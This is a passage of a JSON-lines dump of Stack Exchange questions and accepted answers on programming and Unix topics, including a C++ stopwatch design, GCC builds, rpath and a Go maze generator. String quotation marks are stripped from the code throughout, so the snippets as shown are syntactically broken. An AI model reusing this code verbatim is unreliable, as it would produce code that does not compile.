stoppers[1]    stoppers[0]->countDownFrom(12); //test countdown    //stoppers[0]->countDownFrom(60 * 60 * 60 * 60); //overflow test    /*    stoppers[0]->start();    while (1)    {        stoppers[0]->updateTime();        stoppers[0]->printTime();        std::this_thread::sleep_for(std::chrono::milliseconds(200)); //this is only responsible for the refresh rate, the lower the better    }//note that no waiting at all will result in visible reprinting.    */    /*    int timer = 9;     stoppers[0]->start();    do    {        stoppers[0]->updateTime();        stoppers[0]->printTime();        std::this_thread::sleep_for(std::chrono::seconds(1));    }while (--timer);    stoppers[0]->stop(); //test stop    std::this_thread::sleep_for(std::chrono::seconds(3));    timer = 9;    stoppers[0]->start();    do    {        stoppers[0]->updateTime();        stoppers[0]->printTime();        std::this_thread::sleep_for(std::chrono::seconds(1));    }while (--timer);    */    /*    int timer = 9;    stoppers[0]->start();    do    {        stoppers[0]->updateTime();        stoppers[0]->printTime();        std::this_thread::sleep_for(std::chrono::seconds(1));    }while (--timer);    stoppers[0]->reset(); //test reset    std::this_thread::sleep_for(std::chrono::seconds(3));    timer = 9;    stoppers[0]->start();    do    {        stoppers[0]->updateTime();        stoppers[0]->printTime();        std::this_thread::sleep_for(std::chrono::seconds(1));    }while (--timer);    */    /*    int timer = 9;    stoppers[0]->start();    do    {        stoppers[0]->updateTime();        stoppers[0]->printTime();        std::this_thread::sleep_for(std::chrono::seconds(1));    } while (--timer);    stoppers[0]->lap(); //lap reset    stoppers[0]->stop();    std::this_thread::sleep_for(std::chrono::seconds(3));    timer = 9;    stoppers[0]->start();    do    {        stoppers[0]->updateTime();        stoppers[0]->printTime();        std::this_thread::sleep_for(std::chrono::seconds(1));    } while (--timer);    stoppers[0]->lap();    stoppers[0]->stop();    Console::gotoxy(0, 0);    std::cout << m_elapsed:  << stoppers[0]->getElapsed() << '\\n';    std::cout << First lap:  << stoppers[0]->getLapTimes()[0] << '\\n';    std::cout << Second lap:  << stoppers[0]->getLapTimes()[1] << '\\n';    */    return 0;}"  , "title": "Stopwatch that uses the abstract factory design pattern"  , "tags": "c++;object oriented;design patterns;datetime;polymorphism"  , "accepted_answer": "Okay, after I worked my way through the original code, a few things have become clearer. Since I have never done programming with ncurses I was eager to try my hand at a better design.Here it comes. It's a sketch only in the sense that I didn't create separate translation units. That is basically a tedious exercise and left for the reader.However, it does implement stopwatch (including lap times and reset), countdown and a bonus random timer task.Big ideasI noticed that Stopwatch was a bit of a God Object antipattern. It does too many things (you can't really usefully do a countdown and a lap time simultaneously).I reckoned it would be nice to simply have tasks (without any UI) that expose duration measurements, and views that can display them as they update. This is akin to a publish/subscribe pattern.To demonstrate this, I made not only the views generic, but also the tasks.The UI will be an interactive terminal application that supports the following short cut keys:           Select (multiple) views: [d]igital/[s]egmented        Launch task: [r]andom [c]ountdown s[t]opwatch [?]any                Control tasks: [l]ap [!]reset [k]ill                 Other: [z]ap all views [q]uit/Esc I am aware of the usual implementation in hardware stopwatch devices where the operation modes form a state machine. I also realize that the implementation in code tried to mimick this. Unfortunately, not only did it fall short, it also conflated things with the UI side of things. Consider this answer a finger exercise on my part.Code walkthroughIncludes#include <iostream>#include <sstream>#include <iomanip>We'll be using stream formatting to display hh:mm:ss times.#include <chrono>using namespace std::chrono_literals;#include <memory>#include <random>#include <algorithm>#include <set>We'll be using standard library containers and algorithms.#include <boost/signals2.hpp>A little bit of Boost to aid in the publish/subscribe mechanism. It facilitates multi-cast subscription and automatic (RAII) disconnection.#include <cursesapp.h>#include <cursesp.h>As in the last comment on the old answer, we'll be using ncurses to create an interactive terminal UI (TUI).Preamble/general declarationsWe start at the foundation, some general utilities:namespace {    using Clock     = std::chrono::steady_clock;    using TimePoint = Clock::time_point;    using Duration  = Clock::duration;    using Durations = std::vector<Duration>;Just some convenience shorthands, so we keep our code legible and easy to change.    struct HMS {         int hours, minutes, seconds;        std::string str() const {            std::stringstream ss;            ss << std::setfill('0') << std::setw(2) << hours << ':' << std::setw(2) << minutes << ':' << std::setw(2)               << seconds;            return ss.str();        }    };    HMS to_hms(Duration duration) {        auto count = std::chrono::duration_cast<std::chrono::seconds>(duration).count();        int s = count % 60; count /= 60;        int m = count % 60; count /= 60;        int h = count;        return {h,m,s};    }You had these conversions anyways, but here they are in functional style (specifically, side-effect free). You'll notice how much this uncomplicates the stopwatch tasks below.    using boost::signals2::signal;    using boost::signals2::scoped_connection;}(More shorthands)There's a subtle point to maintaining Duration at full resolution internally. This means that no rounding errors are introduced when starting a new lap halfway a second.The Task hierarchystruct Task {    virtual ~Task() = default;    virtual void tick() {}};The foundation of our task class hierarchy. Note that the most generic base class doesn't even presuppose any published events, which makes the framework extensible to tasks other than time measurement. Our time-related tasks share the following abstract base:struct TimerTask : Task {    signal<void(Duration, Durations const&)> updateEvent;    virtual void tick() = 0;};As you can see, we promise to publish events carrying one or more durations. These can be subscribed to by any view capable of displaying one or more durations.Implementing the various timer operations on this is peanuts. Let's for example do a random durations generator in 3 lines of code:struct RandomTimeTask : TimerTask {    virtual void tick() {        updateEvent(rand()%19000 * 1s, {});    }};That might seem a cheap example, but countdown is really not much different:struct CountdownTask : TimerTask {    CountdownTask(Duration d) : _deadline(Clock::now() + d) { }    virtual void tick() {        updateEvent(std::max(Duration{0s}, _deadline - Clock::now()), {});    }  private:    TimePoint _deadline;};Even stopwatch isn't harder, before we add lap times:struct StopwatchTask : TimerTask {    StopwatchTask() : _startlap(Clock::now()) { }    virtual void tick() {        updateEvent(Clock::now() - _startlap, {});    }  private:    TimePoint _startlap;};Adding laptimes and reset() the full-featured stopwatch task becomes:struct StopwatchTask : TimerTask {    StopwatchTask() : _startlap(Clock::now()) { }    virtual void tick() {        updateEvent(elapsed(), _laptimes);    }    void lap() {        _laptimes.push_back(elapsed());        _startlap = Clock::now();    }    void reset() {        _startlap = Clock::now();        _laptimes.clear();    }  private:    Duration elapsed() const { return Clock::now() - _startlap; }    std::vector<Duration> _laptimes;    TimePoint _startlap;};View hierarchyWe introduce one more parameter object:struct Bounds {    int x, y, lines, cols;};And then we get down to business: Views will be things that have a TUI element (a panel):struct View {    View(Bounds const& bounds) : _window(bounds.lines, bounds.cols, bounds.x, bounds.y) { }    virtual ~View() = default;  protected:    mutable NCursesPanel _window;};Without delay, let's present the abstract base TimerView that subscribes to any TimerTask:struct TimerView : View {    TimerView(Bounds const& bounds) : View(bounds) { }    void subscribe(TimerTask& task) {        _conn = task.updateEvent.connect([this](Duration const& value, Durations const& extra) {            //if (value == 0s) _window.setcolor(1);            update(value, extra);        });    }  private:    scoped_connection _conn;    virtual void update(Duration const& value, Durations const& extra) const = 0;};I haven't figured out how to configure colors in Curses, but you can see how simple it would be to add generic behaviour to timer views there.A simple view to implement would be the digital timer view. We already have the to_hms() and HMS::str() utilities. Let's decide that the view should show the total elapsed time regardless of lap-times and it should indicate how many laps have been recorded:struct DigitalView final : TimerView {    using TimerView::TimerView;  private:    void update(Duration const& value, Durations const& extra) const override {        _window.erase();        auto total = std::accumulate(extra.begin(), extra.end(), value);        auto hms = to_hms(total).str();        hms += [# + std::to_string(extra.size()) + ];        int x = 0;        for (auto ch : hms)            _window.CUR_addch(0, x++, ch);        _window.redraw();    }};Note that I have foregone a Console like abstraction here. Instead I used _window methods directly, which does tie the implementation to Curses. You may want to abstract this again, probably using a buffered approach like in my other answer.The SegmentView isn't actually much more complicated. I dropped the bitset<> in favour of more obviously readable code. It has the added benefit of making the code short (except for the constants of course).Functionally, we showthe total elapsed time in a frame captionthe current lap time in the 7-segment large displaya running list of previous lap-times on the right hand side:struct SegmentView final : TimerView {    using TimerView::TimerView;  private:    void update(Duration const& value, Durations const& extra) const override {        _window.erase();        // total times in frame caption        {            auto total = std::accumulate(extra.begin(), extra.end(), value);            _window.frame(to_hms(total).str().c_str());        }        // big digits show current lap        {            auto hms = to_hms(value).str();            int digits[6] {                hms[0]-'0', hms[1]-'0',                    hms[3]-'0', hms[4]-'0',                    hms[6]-'0', hms[7]-'0',            };            auto xpos = [](int index) { return 4 + (index * 5); };            int index = 0;            for (auto num : digits)                printDigit(num, xpos(index++), 1);            for (auto x : {xpos(2)-1, xpos(4)-1})                for (auto y : {2, 4})                    _window.CUR_addch(y, x, '.');        }        // previous laptimes to the right        {            // print lap times            int y = 1;            for (auto& lap : extra) {                int x = 35;                _window.CUR_addch(y, x++, '0'+y);                _window.CUR_addch(y, x++, '.');                _window.CUR_addch(y, x++, ' ');                for (auto ch : to_hms(lap).str())                    _window.CUR_addch(y, x++, ch);                ++y;            }        }        _window.redraw();    }    void printDigit(int num, int x, int y) const    {        static char const* const s_masks[10] = {             --             |  |                            |  |             -- ,                               |                               |                ,             --                |             --             |                -- ,             --                |             --                |             -- ,                            |  |             --                |                ,             --             |                --                |             -- ,             --             |                --             |  |             -- ,             --                |                               |                ,             --             |  |             --             |  |             -- ,             --             |  |             --                |             -- ,        };        if (num < 0 || num > 9)            throw std::runtime_error(Cannot assign Invalid digit must be: (0 < digit < 9));        for (auto l = s_masks[num]; *l; l += 4) {            for (auto c = l; c < l+4; ++c)                _window.CUR_addch(y, x++, *c);            ++y; x-=4;        }    }};Behold, a thing of beauty. One should never underestimate the value of self-explanatory code (if only the constants here). The Main ApplicationAll that remains to be done is the demo application itself. It sets up some factories, and starts an input event loop to receive keyboard shortcuts. Handling them is pretty straightforward.The stopwatch-specific operations ([l]ap and [!]reset) are the only mildly complicated ones because they will have to filter for any running tasks that might be stopwatch tasks.Launching a task without selecting one or more views to connect up will result in a beep() and nothing happening.Note how clearing the _tasks or _views automatically destroys the right subscriptions (due to the use of scoped_connection).struct DemoApp : NCursesApplication {    using TaskPtr = std::unique_ptr<TimerTask>;    using ViewPtr = std::unique_ptr<TimerView>;    using TaskFactory = std::function<TaskPtr()>;    using ViewFactory = std::function<ViewPtr()>;    using ViewFactoryRef = std::reference_wrapper<ViewFactory const>;    int run() {        _screen.useColors();        _screen.centertext(lines - 4, Select (multiple) views: [d]igital/[s]egmented);        _screen.centertext(lines - 3, Launch task: [r]andom [c]ountdown s[t]opwatch [?]any);        _screen.centertext(lines - 2, Control tasks: [l]ap [!]reset [k]ill);        _screen.centertext(lines - 1, Other: [z]ap all views [q]uit/Esc);        ::timeout(10);        // replace with set<> to disallow repeats        std::multiset<ViewFactoryRef, CompareAddresses> selected_views;        while (true) {            TaskPtr added;            switch (auto key = ::CUR_getch()) { // waits max 10ms due to timeout                case 'r': added = makeRandomTimeTask(); break;                case 'c': added = makeCountdownTask(); break;                case 't': added = makeStopwatchTask(); break;                case 'l':                   for (auto& t : _tasks)                       if (auto sw = dynamic_cast<StopwatchTask*>(t.get()))                          sw->lap();                  break;                case '!':                   for (auto& t : _tasks)                       if (auto sw = dynamic_cast<StopwatchTask*>(t.get()))                          sw->reset();                  break;                case '\\x1b': case 'q': return 0;                case 'k': _tasks.clear(); break;                case 'z': _views.clear(); break;                case 'd': selected_views.insert(makeDigitalView); break;                case 's': selected_views.insert(makeSegmentView); break;                default:                    for (auto& d : _tasks) d->tick();            }            if (added) {                if (selected_views.empty())                    ::beep();                else {                    for (ViewFactory const& maker : selected_views) {                        _views.push_back(maker());                        _views.back()->subscribe(*added);                    }                    selected_views.clear();                    _tasks.push_back(std::move(added));                }            }            ::refresh();        }    }The remainder is the setup for the DemoApp, which includes rather boring stuff like generating random view positions.  private:    std::mt19937 prng{ std::random_device{}() };    NCursesPanel _screen;    int const lines = _screen.lines();    int const cols  = _screen.cols();    int ranline() { return std::uniform_int_distribution<>(0, lines - 9)(prng); };     int rancol()  { return std::uniform_int_distribution<>(0, cols  - 9)(prng); };     TaskFactory         makeRandomTimeTask = [] { return TaskPtr(new RandomTimeTask); },        makeCountdownTask  = [] { return TaskPtr(new CountdownTask(rand()%240 * 1s)); },        makeStopwatchTask  = [] { return TaskPtr(new StopwatchTask()); },        taskFactories[2] {            makeRandomTimeTask,            makeCountdownTask,        };    ViewFactory         makeDigitalView = [&] { return std::make_unique<DigitalView>(Bounds { ranline(), rancol(), 1, 13 }); },        makeSegmentView = [&] { return std::make_unique<SegmentView>(Bounds { ranline(), rancol(), 7, 48 }); },        viewFactories[2] = { makeDigitalView, makeSegmentView };    std::vector<ViewPtr> _views;    std::vector<TaskPtr> _tasks;    struct CompareAddresses { // in case you wanted to make selected_views unique        template <typename A, typename B>        bool operator()(A const& a, B const& b) const { return std::addressof(a.get())<std::addressof(b.get()); };    };};static DemoApp app;You can see a live demo here:"  } 
{  "id": "_webmaster.108096"  , "question": "We have a Wordpress HTTP site which we wish to convert to HTTPS or SSL. Do we have to find all mentions of hard coded HTTP resources or can we simply do a 301 redirect in .htaccess, and how do we do that?We are a not for profit website and I have limited knowledge of Wordpress and webmastering (although I am a power user of browsers and can edit basic html)."  , "title": "When converting a WordPress site from HTTP to HTTPS, do all hard-coded HTTP references need to be updated?"  , "tags": "redirects;wordpress;https;http;conversions"  } 
{  "id": "_softwareengineering.254016"  , "question": "When facing new programming jargon words, I first try to reason about them from an semantic and etymological standpoint when possible (that is, when they aren't obscure acronyms). For instance, you can get the beginning of a hint of what things like Polymorphism or even Monad are about with the help of a little Greek/Latin. At the very least, once you've learned the concept, the word itself appears to go along with it well. I guess that's part of why we name things names, to make mental representations and associations more fluent.I found Functor to be a tougher nut to crack. Not so much the C++ meaning -- an object that acts (-or) as a function (funct-), but the various functional meanings (in ML, Haskell) definitely left me puzzled.From the (mathematics) Functor Wikipedia article, it seems the word was borrowed from linguistics. I think I get what a function word or functor means in that context - a word that makes function as opposed to a word that makes sense. But I can't really relate that to the notion of Functor in category theory, let alone functional programming. I imagined a Functor to be something that creates functions, or behaves like a function, or short for functional constructor, but none of those seems to fit...How do experienced functional programmers reason about this ? Do they just need any label to put in front of a concept and be fine with it ? Generally speaking, isn't it partly why advanced functional programming is hard to grasp for mere mortals compared to, say, OO -- very abstract in that you can't relate it to anything familiar ?Note that I don't need a definition of Functor, only an explanation that would allow me to relate it to something more tangible, if there is any."  , "title": "How can I make sense of the word Functor from a semantic standpoint?"  , "tags": "functional programming;math;theory;semantics"  , "accepted_answer": "In category theory Functors describe relationships between categories by describing some, or all, mappings from one category to another. There are so many philosophical ideas wrapped up in this (all beautiful) it's difficult to say much that relates this to programming or other real world things that doesn't rob it of some of its intrinsic completeness, but here goes.Imagine a dataset, and a set of functions that you could perform on that dataset. Now imagine another dataset (maybe looking or feeling very different from the first) and a set of functions you could perform on that dataset. A functor between the two dataset+function 'things' would map the dataset+function thing 1 to dataset+function thing 2 in a meaningful way i.e. would relate functions to functions so as to preserve some properties of the functions between things. Functors therefore express relationships between 'meanings' expressed by the functions in each 'thing'.It's almost like patterns in programming - the first dataset and function 'thing' might be 'people registered to vote' and functions like 'voting history and likelihood to vote for different parties functions/mappings', the second dataset and function 'thing' might be 'quark groupings in atoms' and functions 'spin interaction prediction under different gravitational influences' and 'total quark breakdown likelihood' or some such weird stuff. A functor would map between one 'world' (dataset and functions on it) and another in a way that allowed you to talk about how you test/express truths about functional outcomes in one world and transfer the results in another because you know how the functions and datasets are related in a specific way.Functors maps relationships between semantics i.e. are higher-order mechanisms for expressing commonalities between meanings of functional systems.Sorry, that's as clear as I can express category theoretic functors in a 'real world' summary."  } 
{  "id": "_unix.287643"  , "question": "I'm trying to compile GCC 4.8.3. I have read the documentation carefully but I'm still unable to cross compile it for 64bit system. I have also gone through this guide. But my requirement is to build GCC in /tmp/xxx directory. But the --with-sysroot & --with-native-system-header-dir flags are messing up the compilation. According to the documentation of GCC, I need to use --with-sysroot flag along with --with-native-system-header-dir.--with-system-header-dir accepts a directory name where the header files are installed. In my case it is ${TOOLS_DIR} and this should be an absolute path, which it is. And, --with-sysroot requires the root path of the folder where the compilation is being done. In my case, it is ${INSTALL_DIR}.INSTALL_DIR=/tmp/gcc-compileTOOLS_DIR=${INSTALL_DIR}/toolsAccording to the Linuxfromscratch guide, I should create a folder on the root system of the host. But in order to do that I will need sudo permission which I don't have. So, I thought to compile GCC in a subdirectory rather than what was mentioned in the book (because all the users get read/write permission for /tmp directory).Now, GCC stops with an error that it cannot find the system header directory. And, it tries to search in /tmp/gcc-compile/tmp/gcc-compile/tools/include, which is the wrong path.The options that I have used are:sed -i s#/tools#${TOOLS_DIR}#g ../gcc-4.8.3-pure64_specs-1.patchpatch -Np1 -i ../gcc-4.8.3-branch_update-1.patchpatch -Np1 -i ../gcc-4.8.3-pure64_specs-1.patchprintf '\\n#undef STANDARD_STARTFILE_PREFIX_1\\n#define STANDARD_STARTFILE_PREFIX_1 %s/lib/\\n' ${TOOLS_DIR} >> gcc/config/linux.hprintf '\\n#undef STANDARD_STARTFILE_PREFIX_2\\n#define STANDARD_STARTFILE_PREFIX_2 \\n' >> gcc/config/linux.hmkdir   ${BUILD_DIR}  &&cd      ${BUILD_DIR}  &&AR=ar LDFLAGS=-Wl,-rpath,${CROSS_DIR}/lib   \\../configure --prefix=${CROSS_DIR}            \\             --build=${HOST}                  \\             --target=${TARGET}               \\             --host=${HOST}                   \\             --with-sysroot=${INSTALL_DIR}    \\             --with-local-prefix=${TOOLS_DIR} \\             --with-native-system-header-dir=${TOOLS_DIR}/include \\             --disable-nls                    \\             --disable-static                 \\             --enable-languages=c,c++         \\             --enable-__cxa_atexit            \\             --enable-threads=posix           \\             --disable-multilib               \\             --with-mpc=${CROSS_DIR}          \\             --with-mpfr=${CROSS_DIR}         \\             --with-gmp=${CROSS_DIR}          \\             --with-cloog=${CROSS_DIR}        \\             --with-isl=${CROSS_DIR}          \\             --with-system-zlib               \\             --enable-checking=release        \\             --enable-libstdcxx-timeWhile setting the options, I have written ${TOOLS_DIR}/include, then why is it the GCC is trying to look into ${INSTALL_DIR}/${TOOLS_DIR}/include? Can somebody direct me in the right direction?OUTPUTThe directory that should contain system headers does not exist:/tmp/gcc-compile/tmp/gcc-compile/tools/includemake[2]: *** [stmp-fixinc] Error 1make[2]: *** Waiting for unfinished jobs....rm gcc.podmake[2]: Leaving directory `/tmp/gcc-compile/cross-compile-tools/gcc-    final/gcc-4.8.3/gcc-build/gcc'make[1]: *** [all-gcc] Error 2make[1]: Leaving directory `/tmp/gcc-compile/cross-compile-tools/gcc-final/gcc-4.8.3/gcc-build'make: *** [all] Error 2"  , "title": "GCC 4.8 compilation error: cannot find the system header directory"  , "tags": "compiling;gcc;cross compilation"  } 
{  "id": "_softwareengineering.267053"  , "question": "I am working on a large C++ project. It consists in a server that exposes a REST API, providing a simple and user-friendly interface for a very broad system comprising many other servers. The codebase is quite large and complex, and evolved through time without a proper design upfront. My task is to implement new features and refactor/fix the old code in order to make it more stable and reliable.At the moment, the server creates a number of long-living objects that are never terminated nor disposed when the process terminates. This makes Valgrind almost unusable for leak detection, as it is impossible to distinguish between the thousands of (questionably) legitimate leaks from the dangerous ones.My idea is to ensure that all objects are disposed before termination, but when I made this proposal, my colleagues and my boss opposed me pointing out that the OS is going to free that memory anyway (which is obvious to everybody) and disposing the objects will slow down the shutdown of the server (which, at the moment, is basically a call to std::exit). I replied that having a clean shutdown procedure does not necessarily imply that one must use it. We can always call std::quick_exit or just kill -9 the process if we feel impatient.They replied most Linux daemons and processes don't bother freeing up memory at shutdown. While I can see that, it is also true that our project does need accurate memory debugging, as I already found memory corruption, double frees and uninitialised variables.What are your thoughts? Am I pursuing a pointless endeavour? If not, how can I convince my colleagues and my boss? If so, why, and what should I do instead?"  , "title": "Correctly disposing objects upon server termination"  , "tags": "c++;debugging;memory"  } 
{  "id": "_unix.264021"  , "question": "I was trying to dockerize (into Debian 8.2) an OpenVPN server (yes, I do know, there already are such containers) but something went wrong inside the container and the server failed to start.I decided to inspect logs but /var/log/syslog (OpenVPN logs here on my host machine) was missing inside the container.I thought that rsyslog was not istalled and added its installation before OpenVPN installation to the Dockerfile. But this had no effect, the syslog was still missing.My Dockerfile is:FROM debian:8.2USER rootEXPOSE 53/udpEXPOSE 1194/udpEXPOSE 443/tcpRUN apt-get updateRUN apt-get install -y rsyslogRUN apt-get install -y openvpn# ...# Some configuration stuff# ...ENTRYPOINT service openvpn start && shThe questions are:Why does OpenVPN logs to syslog after default installation on my host Debian 8.2 and doesn't do it inside a container? I didn't configure anything on my host machine to force OpenVPN log to syslog. It was a default behavior.How do I configure logging of the OpenVPN server running inside a docker container?"  , "title": "How to configure logging inside a Docker container?"  , "tags": "debian;syslog;docker;rsyslog;containers"  } 
{  "id": "_webapps.20869"  , "question": "So after gratuitous theme installations and customizations my tumblr site just isn't looking how I want it to.  I've decided to just do the theme myself, but now I have one on there with all this extra stuff.How can I go back to default layout so I have a clean slate to work on?"  , "title": "Go Back to Default Tumblr Layout"  , "tags": "tumblr;tumblr themes"  , "accepted_answer": "Go to http://www.tumblr.com/customize (you can get there by clicking the cog wheel in the backend and then Customize your blog). Click Themes in the upper left, then search and click on Optica, which is the default theme. Click on Use to take the theme."  } 
{  "id": "_unix.190999"  , "question": "You already know my question.I don't have su authority.So I want to know su password.I really(x100) don't know how to find it.I tried change direction(/etc/pam.d/su) and tried to delete auth  sufficient pam_wheel.so trust.But I could not do it,Because I don't have su authority.:-(so...Could you do me a favor?"  , "title": "How to know su password"  , "tags": "security;root"  } 
{  "id": "_unix.136335"  , "question": "I had two CentOS 6.5 servers that I was running using the Plesk control panel. I have moved and decided not to use them no more but just buy my hosting. My new ISP blocks port 80 and the cost is insane to get it unblocked from them. I took out the server HDD and trying to use a Fedora 12 Live CD to just get the website files backed up. The issue I'm having is that the folder I need access to are all locked out. The error says I do not have permissions to view folder. When I go to permissions tab I'm being told I'm not the owner. I'm not good with command lines so is there a way to make myself the owner from the interface? "  , "title": "Trying To Get Data From Server HDD"  , "tags": "fedora;permissions;data recovery"  } 
{  "id": "_cs.60987"  , "question": "In the past I have thought a bit about how to register a NIR-image and a thermal image and noticed that this is not trivial - one statement was that if I had the depth information for each pixel, the task would be much easier.Now consider having a 3D-NIR camera (e.g. asus xtion) and a thermal camera and I want to map the thermal information to the depth map (the 3d cloud) or vice versa and the NIR information to the thermal information (and vice versa). I thought I could do it simply like this:Conduct a stereo camera calibration for the two cameras (-> R1,R2,T)Use R1, R2 and T to transform the 3D points from 3D-NIR to the thermal camera's coordinate systemUse the camera matrix of the thermal camera to project the 3D points to its image planeNow I know where the 3D points fall in the thermal image, which gives me a depth value (and intensity value, because the depth map and NIR-image are aligned) for each pixel in the thermal image.Which to me sounds similar to the procedure described in this answer by D.W..However, I can't find any article describing this method. Always there seems to be some form of feature matching step, e.g. here.Also, thinking about this, the above solution can not really work, I believe. Consider the case where the two cameras look at an object from different sides. The 3D camera will calculate the depth for a point p1 in the world. When projecting p1 to the thermal camera's image plane it will fall in pixel x. However, since the thermal camera looked at another side of the object, another point in the world p2 actually formed pixel x when the thermal camera took the image - and thats what the measured temperature in x is for (i.e., p1 and p2 roughly lie on a line viewed from the thermal camera).So, all in all:Is my statement that the outlined solution can't always work correct?Under which circumstances does the outlined solution work?What do I need to keep in mind when building the setup?How else to go about this problem? Thanks for reading this long post!"  , "title": "Registering 3D-NIR image to thermal image and vice versa"  , "tags": "computer vision"  } 
{  "id": "_datascience.11695"  , "question": "My problem has three categorical variables C1,C2, C3 and one continous variable X, predicting a continuous outcome Y. I can visualize the problem with the following reproducible code (apology for the badly written code):library(data.tree)i = expand.grid(c(A,B),c(C,D),c(E,F))i = i[order(i[,1],i[,2],i[,3]),]i[,4] = c(1:8)t = expand.grid(c(A,B),c(C,D),c(E,F),seq(0,1,0.1))t = t[order(t[,1],t[,2],t[,3]),]t = join(t,i, by = c(Var1,Var2,Var3))t$Var5 = runif(nrow(t))t$pathString <- with(t, paste(Tree, Var1, Var2, Var3, V4, sep=/))plot_tree <- as.Node(t)plot(plot_tree)ggplot(data = t, aes(x=Var4, y=Var5)) + geom_line() + facet_grid(~V4)The tree categorical variables show 8 possible path combinations:And within each path there is a distribution of Y depending on a continuous variable X:I would like to bin both the continuous Y and X variables such that I am left with a more concise decision tree. There is method to this madness as in my actual problem, some categorical paths will become insignificant due to no movement in the predicted Y beyond the established volatility threshold of 5%.I can manually obtain bins by brute force, but is there a binning algorithm that supports binning of both predicted and predictor variables? I have looked at smbinning and my knowledge in this area of algorithms is limited. My actual problem has many categorical and continuous variables resulting in a more complex structure, but I would like to convert it to a decision tree result which will help me understand the significance and movement of variables better. "  , "title": "Binning of Continous Predictor and Predicted Variables"  , "tags": "r;data mining;decision trees"  } 
{  "id": "_unix.248265"  , "question": "Related to my question about awk being ignored by cron, are there any alternatives to awk? This is the line in question:for dirlist in `ls -l $WEBFOLDER | awk '$1 ~ /d/ {print $10 }' `I don't know awk so I don't understand the $1 ~ /d/ part, but I think what it does is that it prints the 10th column out of the ls -l result. As I can't use awk as of current, is there an alternative to getting the directory names without using awk?EDIT: The line above only outputs the names. No lines or dots, just the names."  , "title": "Alternative to script command getting directory names (using ls & awk)"  , "tags": "shell script"  , "accepted_answer": "Just a simple for loop:for dir in $WEBFOLDER/*/; do  basename $dirdoneIf you also want directories starting with a dot:for dir in $WEBFOLDER/.*/ $WEBFOLDER/*/; do  basename $dirdone"  } 
{  "id": "_softwareengineering.116541"  , "question": "Here's an interesting discussion of Tennent's Correspondence Principle, and a brief description from Neal Gafter:The principle dictates that an expression or statement, when wrapped in a closure and then immediately invoked, ought to have the same meaning as it did before being wrapped in a closure. Any change in semantics when wrapping code in a closure is likely a flaw in the language.Does the Groovy language follow this principle?"  , "title": "Does Groovy follow Tennent's Correspondence Principle?"  , "tags": "language design;groovy;closures"  } 
{  "id": "_unix.137492"  , "question": "I'm trying to get a C application to load shared objects from a relative directory regardless of where I call it from. So far it only works if I'm in the same directory as the executable when I call it:~/prog$ ./my_programSuccess~/prog$ cd ..~$ ./prog/my_program./prog/my_program: error while loading shared libraries: libs/libmysharedobject.so: cannot open shared object file: No such file or directoryAs you can guess from the output above, the shared object is stored under the ~/prog/libs/ directory.  Here's what the relevant gcc calls look like:gcc -std=c99 -ggdb -Wall -pedantic -Isrc    -fPIC -shared -Wl,-soname,libs/libmysharedogbject.so    -o libs/libmysharedobject.so libs/mysharedobject.c[...]gcc [CFLAGS omitted] -o my_program main.c    build/src/my_program.o build/src/common.o    -lm -Llibs -lmysharedobjectHere's the top of the output from readelf -d my_program:Dynamic section at offset 0x6660 contains 26 entries:  Tag        Type                         Name/Value 0x0000000000000001 (NEEDED)             Shared library: [libm.so.6] 0x0000000000000001 (NEEDED)             Shared library: [libs/libmysharedobject.so] 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]I have tried adding -Wl,-z,origin,-rpath='$ORIGIN', which causes the following lines to show up in readelf's output: 0x000000000000000f (RPATH)              Library rpath: [$ORIGIN][...] 0x000000006ffffffb (FLAGS_1)            Flags: ORIGINBut it doesn't seem to solve my problem. I've also tried setting rpath to $ORIGIN/libs, ., and ./libs, all to no avail. (UPDATE: $(CURDIR) doesn't have any effect either. This surprises me, since it's expanded to an absolute path.)Is there a way to get my executable to find its shared objects regardless of the directory from which it's invoked, preferably without having the end user set LD_LIBRARY_PATH every time? Or am I trying to do something that Linux doesn't support?"  , "title": "Load shared objects relative to executable path"  , "tags": "compiling;dynamic linking"  } 
{  "id": "_unix.328882"  , "question": "I have an array containing some element ,but i want to push new items to beginning of array .How to achieve it ?"  , "title": "how to add new value to beginning of array in bash?"  , "tags": "bash;shell script;array"  } 
{  "id": "_codereview.15539"  , "question": "/*Create a random maze*/package mainimport (    fmt    math/rand    time)const (    mazewidth   = 15    mazeheight  = 15)type room struct {    x, y int}func (r room) String() string {    return fmt.Sprintf((%d,%d), r.x, r.y)}func (r room) id() int {    return (r.y * mazewidth) + r.x}// whetwher walls are  open or not.// There are (num_rooms * 2) walls. Some are on borders, but nevermind them ;)type wallregister [mazewidth * mazeheight * 2]boolvar wr = wallregister{}// rooms are visited or nottype roomregister [mazewidth * mazeheight]boolvar rr = roomregister{}func main() {    rand.Seed(time.Now().Unix())    stack := make([]room, 0, mazewidth*mazeheight)    start := room{0, 0}    // mark start position visited    rr[start.id()] = true    // put start position on stack     stack = append(stack, room{0, 0})    for len(stack) > 0 {        // current node is in top of the stack        current := stack[len(stack)-1]        // Slice of neighbors we can move        availneighbrs := current.nonvisitedneighbors()        // cannot move. Remove this room from stack and continue        if len(availneighbrs) < 1 {            stack = stack[:len(stack)-1]            continue        }        // pick a random room to move.        next := availneighbrs[rand.Intn(len(availneighbrs))]        // mark next visited        rr[next.id()] = true        // open wall between current and next:        first, second := orderrooms(current, next)        // second is either at the right or bottom of first.        if second.x == first.x+1 {            wr[first.id()*2] = true        } else if second.y == first.y+1 {            wr[first.id()*2+1] = true        } else { // probably impossible or maybe not...            panic(Wot?!?)        }        // push next to stack        stack = append(stack, next)    }    // print maze    // print upper border    for x := 0; x < mazewidth; x++ {        if x == 0 {            fmt.Printf(   )        } else {            fmt.Printf(_ )        }    }    fmt.Println()    for y := 0; y < mazeheight; y++ {        fmt.Printf(|) // left border        for x := 0; x < mazewidth; x++ {            id := room{x, y}.id()            right := |            bottom := _            if wr[id*2] {                right =              }            if wr[id*2+1] {                bottom =              }            if x == mazewidth-1 && y == mazeheight-1 {                right =              }            fmt.Printf(%s%s, bottom, right)        }        fmt.Println()    }}// return slice of neighbor roomsfunc (r room) neighbors() []room {    rslice := make([]room, 0, 4)    if r.x < mazewidth-1 {        rslice = append(rslice, room{r.x + 1, r.y})    }    if r.x > 0 {        rslice = append(rslice, room{r.x - 1, r.y})    }    if r.y < mazeheight-1 {        rslice = append(rslice, room{r.x, r.y + 1})    }    if r.y > 0 {        rslice = append(rslice, room{r.x, r.y - 1})    }    return rslice}// return rooms that are not visited yetfunc (r room) nonvisitedneighbors() []room {    rslice := make([]room, 0, 4)    for _, r := range r.neighbors() {        if rr[r.id()] == false {            rslice = append(rslice, r)        }    }    return rslice}// order to rooms by closeness to origin 